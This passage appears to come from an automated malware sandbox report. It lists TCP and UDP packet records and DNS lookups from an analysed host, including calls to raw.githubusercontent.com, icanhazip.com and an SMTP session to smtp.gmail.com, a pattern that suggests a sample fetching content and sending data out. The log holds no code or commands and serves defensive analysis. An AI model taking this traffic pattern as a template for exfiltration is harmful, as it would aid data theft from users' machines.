Jan 27, 2021 15:15:04.458914042 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.458918095 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.458965063 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.459568024 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.459585905 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.459602118 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.459618092 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.459635019 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.459645987 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.459652901 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.459702969 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.460072041 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460144997 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.460150003 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460171938 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460190058 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460242033 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.460314989 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460338116 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460354090 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460372925 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460387945 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.460388899 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460407019 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460426092 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460428953 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.460445881 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460464001 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460480928 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460494041 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460519075 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.460525990 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460546017 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460562944 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460580111 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460582018 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.460597038 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460617065 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460637093 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460645914 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.460654020 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460670948 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460685968 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460690022 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.460702896 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460720062 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.460752010 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.460802078 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.508176088 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508219957 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508259058 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508327007 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.508337021 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508388042 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508433104 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.508443117 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508481979 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508519888 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508558989 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508564949 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.508596897 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508635998 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508663893 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.508673906 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.508675098 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508724928 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508739948 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.508769035 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508806944 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508845091 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508845091 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.508883953 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508919001 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508951902 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.508965015 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.508979082 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.509007931 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509056091 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509076118 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.509099007 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509136915 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509174109 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509190083 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.509212017 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509248972 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509258986 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.509287119 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509325027 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509327888 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.509372950 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509427071 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.509442091 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509480953 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509526968 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.509527922 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509567022 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509599924 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.509603977 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509651899 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509694099 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.509701967 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.509784937 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.510025978 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510080099 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510118008 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510154963 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510159969 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.510194063 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510231018 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510231972 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.510278940 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510307074 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.510322094 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510361910 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510400057 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.510401011 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510441065 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510477066 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510479927 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.510514975 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510550976 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510551929 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.510608912 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510627031 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.510653019 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510689974 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510735035 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.510735989 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510776997 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510811090 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510812044 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.510849953 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510886908 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510896921 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.510922909 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510960102 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.510961056 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.510998011 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.511039019 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.511048079 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.511091948 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.511126995 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.511136055 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.511179924 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.511209011 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.511217117 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.511254072 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.511291027 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.511298895 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.511328936 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.511374950 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:04.511377096 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.511411905 CET	80	49721	193.239.147.103	192.168.2.3
Jan 27, 2021 15:15:04.511478901 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:12.834208012 CET	49721	80	192.168.2.3	193.239.147.103
Jan 27, 2021 15:15:13.012614012 CET	49730	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.055445910 CET	443	49730	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.055532932 CET	49730	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.082458973 CET	49730	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.126568079 CET	443	49730	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.126647949 CET	443	49730	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.126682043 CET	443	49730	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.126734972 CET	49730	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.145935059 CET	49730	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.150422096 CET	49731	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.188869953 CET	443	49730	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.192898035 CET	443	49731	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.192995071 CET	49731	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.193727970 CET	49731	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.236875057 CET	443	49731	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.237226009 CET	443	49731	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.237251043 CET	443	49731	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.237329960 CET	49731	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.239945889 CET	49731	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.243701935 CET	49732	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.282432079 CET	443	49731	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.288918972 CET	443	49732	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.289066076 CET	49732	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.290317059 CET	49732	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.332880974 CET	443	49732	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.336129904 CET	443	49732	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.336520910 CET	443	49732	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.336616039 CET	49732	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.343419075 CET	49732	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.345854998 CET	49733	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.386022091 CET	443	49732	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.388273954 CET	443	49733	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.388403893 CET	49733	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.389684916 CET	49733	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.432136059 CET	443	49733	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.432163000 CET	443	49733	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.432178974 CET	443	49733	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.432251930 CET	49733	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.435597897 CET	49733	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:13.483647108 CET	443	49733	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:13.985789061 CET	49734	80	192.168.2.3	147.75.47.199
Jan 27, 2021 15:15:14.141225100 CET	80	49734	147.75.47.199	192.168.2.3
Jan 27, 2021 15:15:14.141433954 CET	49734	80	192.168.2.3	147.75.47.199
Jan 27, 2021 15:15:14.142913103 CET	49734	80	192.168.2.3	147.75.47.199
Jan 27, 2021 15:15:14.300801039 CET	80	49734	147.75.47.199	192.168.2.3
Jan 27, 2021 15:15:14.300822020 CET	80	49734	147.75.47.199	192.168.2.3
Jan 27, 2021 15:15:14.300829887 CET	80	49734	147.75.47.199	192.168.2.3
Jan 27, 2021 15:15:14.301477909 CET	49734	80	192.168.2.3	147.75.47.199
Jan 27, 2021 15:15:14.301492929 CET	49734	80	192.168.2.3	147.75.47.199
Jan 27, 2021 15:15:14.459307909 CET	80	49734	147.75.47.199	192.168.2.3
Jan 27, 2021 15:15:15.574553013 CET	49735	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:15.617335081 CET	443	49735	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:15.617430925 CET	49735	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:15.618047953 CET	49735	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:15.661521912 CET	443	49735	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:15.661550999 CET	443	49735	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:15.661566019 CET	443	49735	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:15.661636114 CET	49735	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:15.663796902 CET	49735	443	192.168.2.3	151.101.0.133
Jan 27, 2021 15:15:15.708930969 CET	443	49735	151.101.0.133	192.168.2.3
Jan 27, 2021 15:15:15.973541021 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:16.022650003 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.022759914 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:16.080607891 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.080883026 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:16.130538940 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.134344101 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.134633064 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:16.186044931 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.186659098 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:16.237952948 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.237977028 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.238143921 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:16.246917009 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:16.299015045 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.344227076 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:16.354690075 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:16.405006886 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.417948961 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:16.467508078 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.468110085 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:16.521284103 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.892911911 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.896394968 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:16.944624901 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.944956064 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:16.973335981 CET	49736	587	192.168.2.3	108.177.119.109
Jan 27, 2021 15:15:17.021986008 CET	587	49736	108.177.119.109	192.168.2.3
Jan 27, 2021 15:15:17.022253036 CET	49736	587	192.168.2.3	108.177.119.109

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2021 15:14:59.332345963 CET	60831	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:14:59.383230925 CET	53	60831	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:00.263602018 CET	60100	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:00.314697027 CET	53	60100	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:01.504172087 CET	53195	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:01.552279949 CET	53	53195	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:02.446263075 CET	50141	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:02.498785019 CET	53	50141	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:03.252521038 CET	53023	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:03.302258968 CET	53	53023	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:04.196850061 CET	49563	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:04.244673967 CET	53	49563	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:05.022871971 CET	51352	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:05.073025942 CET	53	51352	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:06.309909105 CET	59349	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:06.367492914 CET	53	59349	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:07.083122015 CET	57084	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:07.131283998 CET	53	57084	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:09.270239115 CET	58823	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:09.320410013 CET	53	58823	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:10.437478065 CET	57568	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:10.494224072 CET	53	57568	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:11.377993107 CET	50540	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:11.430713892 CET	53	50540	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:12.852633953 CET	54366	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:12.913172007 CET	53034	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:12.915644884 CET	53	54366	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:12.931613922 CET	57762	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:12.963109970 CET	53	53034	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:12.987937927 CET	53	57762	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:13.925585985 CET	55435	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:13.984045029 CET	53	55435	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:15.898952007 CET	50713	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:15.972109079 CET	53	50713	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:28.285253048 CET	56132	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:28.336141109 CET	53	56132	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:28.685240984 CET	58987	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:28.745198011 CET	53	58987	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:36.386214972 CET	56579	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:36.448751926 CET	53	56579	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:47.392508030 CET	60633	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:47.465325117 CET	53	60633	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:47.894746065 CET	61292	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:47.953027964 CET	53	61292	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:49.358304024 CET	63619	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:49.408313036 CET	53	63619	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:52.124368906 CET	64938	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:52.182889938 CET	53	64938	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:58.839375019 CET	61946	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:58.892306089 CET	53	61946	8.8.8.8	192.168.2.3
Jan 27, 2021 15:15:59.284389019 CET	64910	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:15:59.356594086 CET	53	64910	8.8.8.8	192.168.2.3
Jan 27, 2021 15:16:31.815749884 CET	52123	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:16:31.868911982 CET	53	52123	8.8.8.8	192.168.2.3
Jan 27, 2021 15:17:45.547363043 CET	56130	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:17:45.599982023 CET	53	56130	8.8.8.8	192.168.2.3
Jan 27, 2021 15:17:46.340441942 CET	56338	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:17:46.397635937 CET	53	56338	8.8.8.8	192.168.2.3
Jan 27, 2021 15:17:47.228116035 CET	59420	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:17:47.276123047 CET	53	59420	8.8.8.8	192.168.2.3
Jan 27, 2021 15:17:47.761641979 CET	58784	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:17:47.818156958 CET	53	58784	8.8.8.8	192.168.2.3
Jan 27, 2021 15:17:48.401642084 CET	63978	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:17:48.458431005 CET	53	63978	8.8.8.8	192.168.2.3
Jan 27, 2021 15:17:49.186873913 CET	62938	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:17:49.246486902 CET	53	62938	8.8.8.8	192.168.2.3
Jan 27, 2021 15:17:50.100492954 CET	55708	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:17:50.158314943 CET	53	55708	8.8.8.8	192.168.2.3
Jan 27, 2021 15:17:51.257319927 CET	56803	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:17:51.313844919 CET	53	56803	8.8.8.8	192.168.2.3
Jan 27, 2021 15:17:52.705760002 CET	57145	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:17:52.753576040 CET	53	57145	8.8.8.8	192.168.2.3
Jan 27, 2021 15:17:53.337014914 CET	55359	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:17:53.398622990 CET	53	55359	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 27, 2021 15:15:12.852633953 CET	192.168.2.3	8.8.8.8	0x90af	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:12.931613922 CET	192.168.2.3	8.8.8.8	0xed11	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:13.925585985 CET	192.168.2.3	8.8.8.8	0xbd5c	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:15.898952007 CET	192.168.2.3	8.8.8.8	0xcc74	Standard query (0)	smtp.gmail.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 27, 2021 15:15:12.915644884 CET	8.8.8.8	192.168.2.3	0x90af	No error (0)	raw.githubusercontent.com	github.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 15:15:12.915644884 CET	8.8.8.8	192.168.2.3	0x90af	No error (0)	github.map.fastly.net		151.101.0.133	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:12.915644884 CET	8.8.8.8	192.168.2.3	0x90af	No error (0)	github.map.fastly.net		151.101.64.133	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:12.915644884 CET	8.8.8.8	192.168.2.3	0x90af	No error (0)	github.map.fastly.net		151.101.128.133	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:12.915644884 CET	8.8.8.8	192.168.2.3	0x90af	No error (0)	github.map.fastly.net		151.101.192.133	A (IP address)	IN (0x0001)
Jan 27, 2021 15:15:12.987937927 CET	8.8.8.8	192.168.2.3	0xed11	No error (0)	raw.githubusercontent.com	github.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
